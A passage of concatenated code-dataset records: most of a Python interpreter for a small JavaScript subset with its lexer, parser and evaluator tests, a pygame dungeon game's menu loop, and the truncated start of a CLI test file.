String(self.identifier().name))\n\t\t\telse:\n\t\t\t\tself.match(TokenType.OPEN_PAREN)\n\t\t\t\t# Parse arguments\n\t\t\t\targs = []\n\t\t\t\tif self.tokenType != TokenType.CLOSE_PAREN:\n\t\t\t\t\targs.append(self.expression())\n\t\t\t\t\twhile self.tokenType == TokenType.COMMA:\n\t\t\t\t\t\tself.match(TokenType.COMMA)\n\t\t\t\t\t\targs.append(self.expression())\n\t\t\t\tself.match(TokenType.CLOSE_PAREN)\n\t\t\t\tu = Call(u, args)\n\t\treturn u\n\n\tdef factor(self):\n\t\t'''\n\t\tFactor -> '!' Factor | '-' Factor | Unit\n\t\t'''\n\t\t# Right to left associative\n\t\tif self.tokenType == TokenType.NOT:\n\t\t\tself.match(TokenType.NOT)\n\t\t\treturn Not(self.factor())\n\n\t\tif self.tokenType == TokenType.ADD_OP:\n\t\t\tif self.tokenValue == '-':\n\t\t\t\tself.match(TokenType.ADD_OP)\n\t\t\t\treturn UnaryMinus(self.factor())\n\t\t\telif self.tokenValue == '+':\n\t\t\t\tself.match(TokenType.ADD_OP)\n\t\t\t\treturn self.factor()\n\t\t\telse:\n\t\t\t\traise Exception(\"unknown add op\")\n\n\t\treturn self.unit()\n\n\tdef expression(self):\n\t\t# TODO: comma expression (typically used in for loops)\n\t\t'''\n\t\tExpression -> SingleExpression {',' SingleExpression}*\n\t\tSingleExpression -> OrExpression | Assignment\n\n\t\tAssignment -> OrExpression AssignOp Expression\n\t\tAssignOp -> '=' | '+=' | '-=' | '*=' | '/=' | '%='\n\n\t\tOrExpression -> AndExpression { '&&' AndExpression}*\n\t\tAndExpression -> EqExpression { '&&' EqExpression}*\n\n\t\tEqExpression -> RelationalExpression { EqOp EqExpression }*\n\t\tEqOp -> '==' | '!='\n\n\t\tRelationalExpression -> ArithematicExpression { RelOp ArithematicExpression }*\n\t\tRelOp -> '<' | '<=' | '>' | '>=' | 'in'\n\n\t\tArithematicExpression -> Term { AddOp Term }*\n\t\tAddOp -> '+' | '-'\n\n\t\tTerm -> Factor { MulOp Factor }*\n\t\tMulOp -> '*' | '/' | '%'\n\t\t'''\n\t\t# Operators in order of increasing precedence\n\t\t# op token type, op class, isLeftAssociative\n\t\tprecedenceLevels = [\n\t\t\t(TokenType.ASSIGN_OP, AssignOp, False),\n\t\t\t(TokenType.OR_OP, OrOp, True),\n\t\t\t(TokenType.AND_OP, AndOp, True),\n\t\t\t(TokenType.EQ_OP, EqOp, True),\n\t\t\t(TokenType.REL_OP, RelOp, True),\n\t\t\t(TokenType.ADD_OP, AddOp, True),\n\t\t\t(TokenType.MUL_OP, MulOp, True)\n\t\t]\n\n\t\tdef level(i):\n\t\t\tif i == len(precedenceLevels):\n\t\t\t\treturn self.factor()\n\t\t\ttokenType, opClass, isLeftAssociative = precedenceLevels[i]\n\n\t\t\texpr = level(i + 1)\n\t\t\tif isLeftAssociative:\n\t\t\t\twhile self.tokenType == tokenType:\n\t\t\t\t\top = self.tokenValue\n\t\t\t\t\tself.match(tokenType)\n\t\t\t\t\trhs = level(i + 1)\n\t\t\t\t\texpr = opClass(expr, rhs, op)\n\t\t\telif self.tokenType == tokenType:\n\t\t\t\top = self.tokenValue\n\t\t\t\tself.match(tokenType)\n\t\t\t\treturn opClass(expr, level(i), op)\n\n\t\t\treturn expr\n\n\t\treturn level(0)\n\n\tdef ifStatement(self):\n\t\tself.match(TokenType.IF)\n\t\tself.match(TokenType.OPEN_PAREN)\n\t\tcondition = self.expression()\n\t\tself.match(TokenType.CLOSE_PAREN)\n\t\tbody = self.statement()\n\t\telseBody = None\n\t\tif self.tokenType == TokenType.ELSE:\n\t\t\tself.match(TokenType.ELSE)\n\t\t\telseBody = self.statement()\n\t\treturn If(condition, body, elseBody)\n\n\tdef whileStatement(self):\n\t\tself.match(TokenType.WHILE)\n\t\tself.match(TokenType.OPEN_PAREN)\n\t\tcondition = self.expression()\n\t\tself.match(TokenType.CLOSE_PAREN)\n\t\tbody = self.statement()\n\t\treturn While(condition, body)\n\n\tdef declaration(self):\n\t\tself.match(TokenType.VAR)\n\t\tname = self.tokenValue\n\t\tself.match(TokenType.IDENTIFIER)\n\t\tvalue = None\n\t\tif self.tokenType == TokenType.ASSIGN_OP and self.tokenValue == '=':\n\t\t\tself.match(TokenType.ASSIGN_OP)\n\t\t\tvalue = self.expression()\n\t\tself.match(TokenType.SEMICOLON)\n\t\treturn Declaration(Identifier(name), value)\n\n\tdef tryCatch(self):\n\t\t'''\n\t\tTryCatch -> 'try' Block 'catch' '(' Identifier ')' Block\n\t\t// TODO: multiple catch blocks, finally blocks\n\t\t'''\n\t\tself.match(TokenType.TRY)\n\t\ttryBlock = self.block()\n\t\t# TODO: multiple catch blocks\n\t\tself.match(TokenType.CATCH)\n\t\tself.match(TokenType.OPEN_PAREN)\n\t\texceptionIdentifier = self.identifier()\n\t\tself.match(TokenType.CLOSE_PAREN)\n\t\tcatchBlock = self.block()\n\t\treturn TryCatch(tryBlock, catchBlock, exceptionIdentifier.name)\n\n\tdef statement(self):\n\t\t'''\n\t\tStatement -> Declaration | Block | IfStatement | WhileStatement\n\t\t\t\t\t| ReturnStatement | Expression ';'\n\t\t\t\t\t| BreakStatement\n\t\t\t\t\t| ContinueStatement\n\t\t\t\t\t| TryCatch\n\t\t\t\t\t| ThrowStatement\n\n\t\tBreakStatement -> 'break' ';'\n\t\tContinueStatement -> 'continue' ';'\n\t\tReturnStatement -> 'return' [ Expression ] ';'\n\t\tThrowStatement -> 'throw' Expression ';'\n\t\t'''\n\t\tif self.tokenType == TokenType.VAR:\n\t\t\treturn self.declaration()\n\t\tif self.tokenType == TokenType.OPEN_BRACE:\n\t\t\treturn self.block()\n\t\tif self.tokenType == TokenType.IF:\n\t\t\treturn self.ifStatement()\n\t\tif self.tokenType == TokenType.WHILE:\n\t\t\treturn self.whileStatement()\n\t\tif self.tokenType == TokenType.TRY:\n\t\t\treturn self.tryCatch()\n\t\tif self.tokenType == TokenType.RETURN:\n\t\t\tself.match(TokenType.RETURN)\n\t\t\texpr = None\n\t\t\tif self.tokenType != TokenType.SEMICOLON:\n\t\t\t\texpr = self.expression()\n\t\t\tself.match(TokenType.SEMICOLON)\n\t\t\treturn Return(expr)\n\t\tif self.tokenType == TokenType.BREAK:\n\t\t\tself.match(TokenType.BREAK)\n\t\t\tself.match(TokenType.SEMICOLON)\n\t\t\treturn Break()\n\t\tif self.tokenType == TokenType.CONTINUE:\n\t\t\tself.match(TokenType.CONTINUE)\n\t\t\tself.match(TokenType.SEMICOLON)\n\t\t\treturn Continue()\n\t\tif self.tokenType == TokenType.THROW:\n\t\t\tself.match(TokenType.THROW)\n\t\t\texpr = self.expression()\n\t\t\tself.match(TokenType.SEMICOLON)\n\t\t\t# TODO: check rules on throw statements\n\t\t\treturn Throw(expr)\n\n\t\te = self.expression()\n\t\tself.match(TokenType.SEMICOLON)\n\t\treturn e\n\n\tdef block(self):\n\t\tstatements = []\n\t\tself.match(TokenType.OPEN_BRACE)\n\t\twhile self.tokenType != TokenType.CLOSE_BRACE:\n\t\t\tstatements.append(self.statement())\n\t\tself.match(TokenType.CLOSE_BRACE)\n\t\treturn Block(statements)\n\n\tdef parse(self):\n\t\tstatements = []\n\t\twhile self.tokenType != TokenType.EOF:\n\t\t\tstatements.append(self.statement())\n\t\tself.match(TokenType.EOF)\n\t\treturn statements\n\nclass Environment:\n\tdef __init__(self, parent=None):\n\t\tself.parent = parent\n\t\tself.variables = {}\n\n\tdef has(self, name):\n\t\tif name in self.variables:\n\t\t\treturn True\n\t\tif self.parent:\n\t\t\treturn self.parent.has(name)\n\t\treturn False\n\n\tdef get(self, name):\n\t\tif name in self.variables:\n\t\t\treturn self.variables[name]\n\t\tif self.parent:\n\t\t\treturn self.parent.get(name)\n\t\traise Exception('%r is undefined' % name)\n\n\tdef create(self, name, value):\n\t\tif name in self.variables:\n\t\t\traise Exception('%r already exists in innermost environment' % name)\n\t\tself.variables[name] = value\n\n\tdef update(self, name, value):\n\t\t# Note: change to \"name in self.variables or not self.parent\" to allow global prop\n\t\tif name in self.variables:\n\t\t\tself.variables[name] = value\n\t\telif not self.parent:\n\t\t\traise Exception('%r is undefined' % name)\n\t\telse:\n\t\t\tself.parent.update(name, value)\n\ndef evaluate(source):\n\tprogram = Parser(source).parse()\n\tenvironment = Environment()\n\tenvironment.create('print', print)\n\n\tdef consoleAssert(cond, *args):\n\t\tif not cond:\n\t\t\traise Exception('Assertion failed:', args)\n\tdef mathRound(x):\n\t\t# https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round\n\t\ty = +x + 0.5\n\t\treturn y - (y % 1)\n\n\tenvironment.create('console', {\n\t\t'log': print,\n\t\t'assert': consoleAssert\n\t})\n\tenvironment.create('Math', {\n\t\t'E': math.e,\n\t\t'LN2': math.log(2),\n\t\t'LN10': math.log(10),\n\t\t'LOG2E': math.log2(math.e),\n\t\t'LOG10E': math.log10(math.e),\n\t\t'PI': math.pi,\n\t\t'SQRT1_2': math.sqrt(0.5),\n\t\t'SQRT2': math.sqrt(2),\n\t\t'abs': abs,\n\t\t'acos': math.acos,\n\t\t'acosh': math.acosh,\n\t\t'asin': math.asin,\n\t\t'asinh': math.asinh,\n\t\t'atan': math.atan,\n\t\t'atanh': math.atanh,\n\t\t'atan2': math.atan2,\n\t\t'cbrt': lambda x: math.pow(x, 1.0/3.0),\n\t\t'ceil': math.ceil,\n\t\t'clz32': NotImplemented,\n\t\t'cos': math.cos,\n\t\t'cosh': math.cosh,\n\t\t'exp': math.exp,\n\t\t'expm1': math.expm1,\n\t\t'floor': math.floor,\n\t\t'fround': NotImplemented,\n\t\t'hypot': lambda *args: math.sqrt(sum(x*x for x in args)),\n\t\t'imul': NotImplemented,\n\t\t'log': math.log,\n\t\t'log1p': math.log1p,\n\t\t'log10': math.log10,\n\t\t'log2': math.log2,\n\t\t'max': max,\n\t\t'min': min,\n\t\t'pow': math.pow,\n\t\t'random': random.random,\n\t\t'round': mathRound,\n\t\t'sign': lambda x: 1 if x > 0 else -1 if x < 0 else 0,\n\t\t'sin': math.sin,\n\t\t'sinh': math.sinh,\n\t\t'sqrt': math.sqrt,\n\t\t'tan': math.tan,\n\t\t'trunc': int\n\t})\n\t# TODO: parseInt, parseFloat, string methods\n\tfor statement in program:\n\t\ttry:\n\t\t\tstatement.eval(environment)\n\t\texcept ReturnValue:\n\t\t\traise Exception('cannot have return statement outside of function body')\n\t\texcept BreakLoop:\n\t\t\traise Exception('cannot have break statement outside of loop')\n\t\texcept ContinueLoop:\n\t\t\traise Exception('cannot have continue statement outside of loop')\n\ndef testEval():\n\ttestCases = [\n\t\t'''\n\t\tvar memo = {};\n\t\tvar fib = function(n) {\n\t\t\tif(n < 2) return n;\n\t\t\treturn fib(n - 1) + fib(n - 2);\n\t\t};\n\t\tvar i = 0;\n\t\twhile(i < 10) {\n\t\t\tmemo[i] = fib(i);\n\t\t\ti = i + 1;\n\t\t}\n\t\tmemo;\n\t\t''',\n\t\t'''\n\t\tvar a = {x: 0, y:1, z:2};\n\t\t'w' in a;\n\t\t'x' in a;\n\t\t'y' in a;\n\t\t'z' in a;\n\t\t''',\n\t\t'''\n\t\tvar memo = {};\n\t\tvar fib = function(n) {\n\t\t\tif(n < 2) return n;\n\t\t\tif(n in memo) {\n\t\t\t\treturn memo[n];\n\t\t\t}\n\t\t\tvar f = fib(n - 1) + fib(n - 2);\n\t\t\treturn memo[n] = f;\n\t\t};\n\t\tvar i = 0;\n\t\twhile(i < 10) {\n\t\t\tmemo;\n\t\t\tfib(i);\n\t\t\ti = i + 1;\n\t\t}\n\t\tmemo;\n\t\t''',\n\t\t'''\n\t\tvar fib = function() {\n\t\t\t// closure demo\n\t\t\tvar memo = {};\n\t\t\treturn function(n) {\n\t\t\t\tif(n < 2) return n;\n\t\t\t\tif(n in memo) {\n\t\t\t\t\treturn memo[n];\n\t\t\t\t}\n\t\t\t\tvar f = fib(n - 1) + fib(n - 2);\n\t\t\t\treturn memo[n] = f;\n\t\t\t};\n\t\t}();\n\n\t\tvar i = 10;\n\t\tvar r = {};\n\t\twhile(i >= 0) {\n\t\t\tr[i] = fib(i);\n\t\t\ti -= 1;\n\t\t}\n\t\tr;\n\t\t''',\n\t\t'''\n\t\tvar n = 4;\n\t\tvar i = 0;\n\t\twhile(i < n) {\n\t\t\tprint(Math[\"cos\"](Math[\"PI\"]*i/n), Math[\"sin\"](Math[\"PI\"]*i/n));\n\t\t\ti += 1;\n\t\t}\n\t\t''',\n\t\t'''\n\t\tvar n = 4;\n\t\tvar i = 0;\n\t\twhile(i < n) {\n\t\t\tprint(Math.cos(Math.PI*i/n), Math.sin(Math.PI*i/n));\n\t\t\ti += 1;\n\t\t}\n\t\t''',\n\t\t'''\n\t\tvar i = 0;\n\t\tvar s = 0;\n\t\tvar n = 10;\n\t\twhile(i < n) {\n\t\t\ti = i + 1;\n\t\t\tprint(i, s);\n\t\t\tif(i % 2) {\n\t\t\t\tprint('Skiping odd');\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tprint('Even!');\n\t\t\ts += i;\n\t\t}\n\t\tprint(s);\n\t\t''',\n\t\t'''\n\t\tvar i = 1;\n\t\tvar n = 30;\n\t\twhile(true) {\n\t\t\tif(i >= n) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ti *= 2;\n\t\t}\n\t\tprint(i);\n\t\t''',\n\t\t'''\n\t\tprint(\"Testing &&\");\n\t\t5 > 9 && print(\"should not print\");\n\t\t5 < 9 && print(\"should print\");\n\t\tprint((1 && 2 && 3 && 4) == 4);\n\t\tprint((1 && 0 && 3 && 4) == 0);\n\t\t''',\n\t\t'''\n\t\tprint(\"Testing ||\");\n\t\t5 > 9 || print(\"should print\");\n\t\t5 < 9 || print(\"should not print\");\n\t\tprint((0 || 0 || 3 || 4) == 3);\n\t\t''',\n\t\t'''\n\t\tprint(\"&& has greater precedence than ||\");\n\t\tprint((1 && 2 || 3) == 2);\n\t\tprint((1 || 2 && print(\"should not print\")) == 1);\n\t\tprint((0 || 2 && 3) == 3);\n\t\t''',\n\t\t'''\n\t\tprint(\"higher order functions\");\n\t\tvar map = function(f, n) {\n\t\t\tvar i = 0;\n\t\t\twhile(i < n) {\n\t\t\t\tprint(f(i));\n\t\t\t\ti += 1;\n\t\t\t}\n\t\t};\n\t\tmap(function(x) { return x*x;}, 10);\n\t\t'''\n\t]\n\tfor testCase in testCases:\n\t\tprint('Testing')\n\t\tprint(testCase)\n\t\tevaluate(testCase)\n\ndef testParser():\n\ttestCases = [\n\t\t('0;',),\n\t\t('\\'hello\\';',),\n\t\t('a;',),\n\t\t('true;',),\n\t\t('false;',),\n\t\t('null;',),\n\t\t('function(){};',),\n\t\t('function(a){};',),\n\t\t('function(a, b, c){};',),\n\t\t('(1);',),\n\t\t('a[\"hi\"];',),\n\t\t('a[\"users\"][\"adrian\"];',),\n\t\t('a(\"hi\");',),\n\t\t('a(\"hi\", 4, 8);',),\n\t\t('a[\"callbacks\"][\"error\"]();',),\n\t\t('a[\"callbacks\"][\"error\"](404, \"Not found\");',),\n\t\t('function(){}();',),\n\t\t('a[function(){}];',),\n\t\t('a[function(){}()];',),\n\t\t('function(a, b, c){}(1, 2, 3);',),\n\t\t('!!!!true;',),\n\t\t('- - -7;',),\n\t\t('- + +7;',),\n\t\t('-8;',),\n\t\t('!-8;',),\n\t\t('-!0;',),\n\t\t('71 * -8 / +2 % 10;',),\n\t\t('order[\"quantity\"] * prices[order[\"item\"]];', ),\n\t\t('2 * 3 + 4 < 5 - 6/7;',),\n\t\t('order[\"item\"] in prices;',),\n\t\t('x1 > y1 == x2 > y2;',),\n\t\t('a = b = c;',),\n\t\t('b += a = 2 * 3 + 4 < 5 - 6/7;',),\n\t\t('if (x < 0) {}',),\n\t\t('if (x < 0) {} else {}',),\n\t\t('if (x < 0) {} else if(x > 0) {}',),\n\t\t('if (x < 0) {} else if(x > 0) {} else {}',),\n\t\t('while(x > 0) {}',),\n\t\t('while(x > 0) x = x - 1;',),\n\t\t('while(x > 1) if(x % 2 == 0) x = x/2; else x = 3*x + 1;',),\n\t\t('function(x) { return; }(0);',),\n\t\t('function(x) { return x + 1; }(0);',),\n\t\t('while(i < length) { if(a[i] == x) break; i = i + 1;}',),\n\t\t('{ i = length; while(i > 0) { i = i - 1; if(a[i] % 2 == 1) continue; a[i] = -a[i]; } }',),\n\t\t('var a;',),\n\t\t('var a = 0;',),\n\t\t('var f = function(x) { return x + 1;};',),\n\t\t('var a = {};',),\n\t\t('var a = {\"name\":\"Adrian\", \"age\":22};',),\n\t\t('{ 1; 2;}',), # block\n\t\t('var a = { \"x\": 1, \"y\": 0};',), # strings for keys\n\t\t('var b = { x: 1, y: 0};',), # identifier for keys\n\t\t('var c = { 1: 1, 0: 0};',), # number literals for keys\n\t]\n\n\tfor testCase in testCases:\n\t\tsource = testCase[0]\n\t\tprint(source, Parser(source).parse())\n\n\tinvalid = [\n\t\t('function()', 'function without body'),\n\t\t('function)', 'function without open paren'),\n\t\t('function(', 'function without close paren'),\n\t\t('function(a b){}', 'invalid paramenter list'),\n\t\t('function(7){}', 'invalid paramenter list'),\n\t\t('function(a, b,){}', 'invalid paramenter list'),\n\t\t('function(a, b, a){}', 'invalid parameter list'),\n\t\t('a(\"hi\"', 'no closing paren in call'),\n\t\t('a(\"hi\", 2, 3', 'no closing paren in call'),\n\t\t('a[\"hi\"', 'no closing brace in member access'),\n\t\t('-', 'unary minus without argument'),\n\t\t('- + - -', 'unary minus without argument'),\n\t\t('+', 'unary plus without argument'),\n\t\t('!', 'not without argument'),\n\t\t('!!!', 'not without argument'),\n\t\t('71 * -8 / +2 %', 'no modulus'),\n\t\t('71 * -8 /', 'no divisor'),\n\t\t('* 89', 'no lhs'),\n\t\t('= 89', 'no lhs'),\n\t\t('71 *', 'no rhs'),\n\t\t('71 +', 'no rhs'),\n\t\t('71 <=', 'no rhs'),\n\t\t('71 =', 'no rhs'),\n\t\t('if', 'invalid if'),\n\t\t('if 8', 'invalid if'),\n\t\t('if (8', 'invalid if: no close paren'),\n\t\t('if (x < 0)', 'invalid if: no body'),\n\t\t('if (x < 0) else', 'invalid if: no body'),\n\t\t('if (x < 0) f(-x); else', 'invalid if: no body'),\n\t\t('if (x < 0) {} else', 'no body for else'),\n\t\t('while','no loop condition'),\n\t\t('while ) {}', 'no open paren'),\n\t\t('while (x {}', 'no close paren'),\n\t\t('while (x)', 'no body'),\n\t\t('while() {}', 'no loop condition'),\n\t\t('function(x) { return x + 1 }', 'no semicoln after expresion in return'),\n\t\t('function(x) { return }', 'invalid return'),\n\t\t('function(x) { return return; }', 'invalid return'),\n\t\t('return ;','Return statement outside of function'),\n\t\t('break ;','Break statement outside of loop'),\n\t\t('continue ;','continue statement outside of loop'),\n\t\t('function() { break ; }();','Break statement outside of loop'),\n\t\t('function() { continue ; }();','Continue statement outside of loop'),\n\t\t('var ','no variable name'),\n\t\t('var ;', 'no variable name'),\n\t\t('var a', 'no semicolon'),\n\t\t('var a = ;', 'no initialization expression'),\n\t\t('var f = function(x) { return x + 1};', 'invalid expression'),\n\t\t('{a:1};','cannot have object literal at beginning of statement'),\n\t]\n\n\tfor source, description in invalid:\n\t\ttry:\n\t\t\tParser(source).parse()\n\t\t\tprint('FAIL: expected error', source, description)\n\t\texcept:\n\t\t\tpass\n\ndef testLexer():\n\ttestCases = [\n\t\t# Numbers\n\t\t('0', [(TokenType.NUMBER, 0)]),\n\t\t('123', [(TokenType.NUMBER, 123)]),\n\t\t('0.234', [(TokenType.NUMBER, 0.234)]),\n\t\t# Reserved words\n\t\t('true', [(TokenType.BOOL, True)]),\n\t\t('false', [(TokenType.BOOL, False)]),\n\t\t('null', [(TokenType.NULL, None)]),\n\t\t('var', [(TokenType.VAR, None)]),\n\t\t('function', [(TokenType.FUNCTION, None)]),\n\t\t('if', [(TokenType.IF, None)]),\n\t\t('while', [(TokenType.WHILE, None)]),\n\t\t('return', [(TokenType.RETURN, None)]),\n\t\t# Identifiers\n\t\t('a', [(TokenType.IDENTIFIER, 'a')]),\n\t\t('a123', [(TokenType.IDENTIFIER, 'a123')]),\n\t\t('ABC_DEF', [(TokenType.IDENTIFIER, 'ABC_DEF')]),\n\t\t('$', [(TokenType.IDENTIFIER, '$')]),\n\t\t('$Money', [(TokenType.IDENTIFIER, '$Money')]),\n\t\t# String literals and escape sequences\n\t\t('\"literal\"', [(TokenType.STRING, 'literal')]),\n\t\t('\"escape \\\\\" sequence \\\\\\\\ tada!\"', [(TokenType.STRING, 'escape \" sequence \\\\ tada!')]),\n\t\t('\"\\\\b\\\\f\\\\n\\\\r\\\\t\\\\v\\\\0\\\\\\'\\\\\"\\\\\\\\\"', [(TokenType.STRING, '\\b\\f\\n\\r\\t\\v\\0\\'\\\"\\\\')]),\n\t\t('\"\\\\a\\\\c\\\\d\\\\e\\\\g\"', [(TokenType.STRING, 'acdeg')]),\n\t\t('\\'literal\\'', [(TokenType.STRING, 'literal')]),\n\t\t('\\'escape \\\\\" sequence \\\\\\\\ tada!\\'', [(TokenType.STRING, 'escape \" sequence \\\\ tada!')]),\n\t\t('\\'\\\\b\\\\f\\\\n\\\\r\\\\t\\\\v\\\\0\\\\\\'\\\\\"\\\\\\\\\\'', [(TokenType.STRING, '\\b\\f\\n\\r\\t\\v\\0\\'\\\"\\\\')]),\n\t\t('\\'\\\\a\\\\c\\\\d\\\\e\\\\g\\'', [(TokenType.STRING, 'acdeg')]),\n\t\t('\\'\\\\\\'\\'', [(TokenType.STRING, '\\'')]),\n\t\t# Comments\n\t\t('a//hello people', [(TokenType.IDENTIFIER, 'a')]),\n\t\t('//hello people\\n123', [(TokenType.NUMBER, 123)]),\n\t\t# Multi-line Comments\n\t\t('a /*hello people\\n1 2 3\\nhi*/ b', [(TokenType.IDENTIFIER, 'a'), (TokenType.IDENTIFIER, 'b')]),\n\t\t('a /*hello * people\\n1 2 3\\nhi*/ b', [(TokenType.IDENTIFIER, 'a'), (TokenType.IDENTIFIER, 'b')]),\n\t\t('a /*hello /* people\\n1 2 3\\nhi*/ b', [(TokenType.IDENTIFIER, 'a'), (TokenType.IDENTIFIER, 'b')]),\n\t\t('a /*hello * //people\\n1 2 3\\nhi*/ b', [(TokenType.IDENTIFIER, 'a'), (TokenType.IDENTIFIER, 'b')]),\n\t\t('a//hello people', [(TokenType.IDENTIFIER, 'a')]),\n\t\t# Punctuation\n\t\t('(){};:', [(TokenType.OPEN_PAREN, None), (TokenType.CLOSE_PAREN, None), (TokenType.OPEN_BRACE, None), (TokenType.CLOSE_BRACE, None), (TokenType.SEMICOLON, None), (TokenType.COLON, None)]),\n\t\t# Operators\n\t]\n\n\tfor source, expected in testCases:\n\t\tgot = Lexer(source).tokenize()\n\t\tif got != expected:\n\t\t\tprint('FAIL', source, got, expected)\n\n\tinvalid = [\n\t\t'.234',\n\t\t'123.',\n\t\t'093',\n\t\t'123a',\n\t\t'/*',\n\t\t'/*adsf*'\n\t]\n\tfor source in invalid:\n\t\ttry:\n\t\t\tgot = Lexer(source).tokenize()\n\t\t\tprint('FAIL: expected error', source)\n\t\texcept:\n\t\t\tpass\n\ndef runFile(path):\n\twith open(path, 'r') as f:\n\t\tsource = f.read()\n\tevaluate(source)\n\nif __name__ == '__main__':\n\tif len(sys.argv) == 2:\n\t\trunFile(sys.argv[1])\n\t# testLexer()\n\t# testParser()\n\t# testEval()\n", "repo_name": "AdrS/javascript-interpreter", "sub_path": "repl.py", "file_name": "repl.py", "file_ext": "py", "file_size_in_byte": 37547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 15, "usage_type": "attribute"}, {"api_name": "math.e", "line_number": 1010, "usage_type": "attribute"}, {"api_name": "math.log", "line_number": 1011, "usage_type": "call"}, {"api_name": "math.log", "line_number": 1012, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 1013, "usage_type": "call"}, {"api_name": "math.e", "line_number": 1013, "usage_type": "attribute"}, {"api_name": "math.log10", "line_number": 1014, "usage_type": "call"}, {"api_name": "math.e", "line_number": 1014, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 1015, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 1016, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 1017, "usage_type": "call"}, {"api_name": "math.acos", "line_number": 1019, "usage_type": "attribute"}, {"api_name": "math.acosh", "line_number": 1020, "usage_type": "attribute"}, {"api_name": "math.asin", "line_number": 1021, "usage_type": "attribute"}, {"api_name": "math.asinh", "line_number": 1022, "usage_type": "attribute"}, {"api_name": "math.atan", "line_number": 1023, "usage_type": "attribute"}, {"api_name": "math.atanh", "line_number": 1024, "usage_type": "attribute"}, {"api_name": "math.atan2", "line_number": 1025, "usage_type": "attribute"}, {"api_name": "math.pow", "line_number": 1026, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 1027, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 1029, "usage_type": "attribute"}, {"api_name": "math.cosh", "line_number": 1030, "usage_type": "attribute"}, {"api_name": "math.exp", "line_number": 1031, "usage_type": "attribute"}, {"api_name": "math.expm1", "line_number": 1032, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 1033, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 1035, "usage_type": "call"}, {"api_name": "math.log", "line_number": 1037, "usage_type": "attribute"}, {"api_name": "math.log1p", "line_number": 1038, "usage_type": "attribute"}, {"api_name": "math.log10", "line_number": 1039, "usage_type": "attribute"}, {"api_name": "math.log2", "line_number": 1040, "usage_type": "attribute"}, {"api_name": "math.pow", "line_number": 1043, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 1044, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 1047, "usage_type": "attribute"}, {"api_name": "math.sinh", "line_number": 1048, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 1049, "usage_type": "attribute"}, {"api_name": "math.tan", "line_number": 1050, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 1396, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 1397, "usage_type": "attribute"}]} {"seq_id": "14005476219", "text": "from dungeon import Dungeon\nfrom interface import *\nfrom objects import *\nimport config\n\nif __name__ == '__main__':\n pygame.init()\n pygame.display.set_caption('Magic Dungeon')\n screen = pygame.display.set_mode(SIZE)\n\n dungeon = Dungeon()\n\n # Создаем словарь вида {имя окна: класс окна}\n windows = {\n 'menu': Window('menu', [\n Image('menu/background', (0, 0)),\n Image('menu/title', (206, 10)),\n Button('menu/play', (192, 190), 'game', {'cycle': True}),\n Button('menu/load', (192, 290), 'load', {'cycle': True}),\n Button('menu/settings', (192, 390), 'settings', {'cycle': True}),\n Button('menu/exit', (192, 490), 'exit', {'cycle': True}),\n Image('menu/fire', (40, 277), {'speed': 6}),\n Image('menu/fire', (407, 277), {'speed': 6}),\n ]),\n 'settings': Window('settings', [\n AntiButton('settings/panel', (97, 152), 'menu'),\n Image('settings/music', (131, 212)),\n Image('settings/sounds', (131, 330)),\n Image('settings/scrollbar', (309, 233)),\n Image('settings/scrollbar', (309, 351)),\n Slider('settings/slider', (442, 225), (309, 442),\n 'set_music_volume'),\n Slider('settings/slider', (442, 343), (309, 442),\n 'set_sounds_volume'),\n ]\n ),\n 'load': Window('load', [\n AntiButton('load/panel', (97, 152), 'menu'),\n Image('load/title', (211, 172)),\n Image('load/cell', (119, 263)),\n Text((134, 278), DESCRIPTION_COLOR, target=config,\n attr_name='USER_NAME'),\n Arrow('load/down', (411, 322), +1, {'cycle': True}),\n Arrow('load/up', (411, 172), -1, {'cycle': True}),\n LoadButton('load/load', (219, 350), 'game', dungeon,\n {'cycle': True}),\n ]),\n 'exit': Window('exit', []),\n 'game': Window('game', [dungeon], music_name='game'),\n 'lose': Window('lose', [\n Image('lose/background', (0, 0)),\n Image('lose/lose_text', (196, 200)),\n Button('lose/menu', (104, 300), 'menu', {'cycle': True}),\n Button('lose/new_game', (352, 300), 'game', {'cycle': True}),\n ], music_name='defeat'),\n 'win': Window('win', [\n Image('win/background', (0, 0)),\n Image('win/win_text', (196, 200)),\n Button('win/menu', (104, 300), 'menu', {'cycle': True}),\n Button('win/new_game', (352, 300), 'game', {'cycle': True}),\n ], music_name='victory'),\n 'inventory': Window('inventory', [Inventory(dungeon)],\n music_name='game'),\n 'save': Window('save', [\n AntiButton('save/panel', (97, 152), 'game'),\n Image('save/title', (211, 172)),\n InputBox('save/input_box', (119, 243), ''),\n SaveButton('save/save', (219, 330), 'game', dungeon,\n {'cycle': True})],\n music_name='game')\n\n }\n\n clock = pygame.time.Clock()\n while True: # бесконечный игровой цикл\n # обновляем окно и делаем отрисовку\n # в зависимости от произошедших событий\n windows[config.CURRENT_WINDOW].update(screen, pygame.event.get())\n pygame.display.flip() # обновление экрана\n clock.tick(FPS) # задержка\n", "repo_name": "daaria-ss/DungeonGame", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3568, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dungeon.Dungeon", "line_number": 11, "usage_type": "call"}, {"api_name": "config.CURRENT_WINDOW", "line_number": 78, "usage_type": "attribute"}]} {"seq_id": "26592572637", "text": "import pytest\n\nfrom mock import patch\n\nfrom polyaxon.cli.components import components\nfrom tests.test_cli.utils import BaseCommandTestCase\n\n\n@pytest.mark.cli_mark\nclass TestCliComponent(BaseCommandTestCase):\n @patch(\"polyaxon_sdk.ProjectsV1Api.create_version\")\n 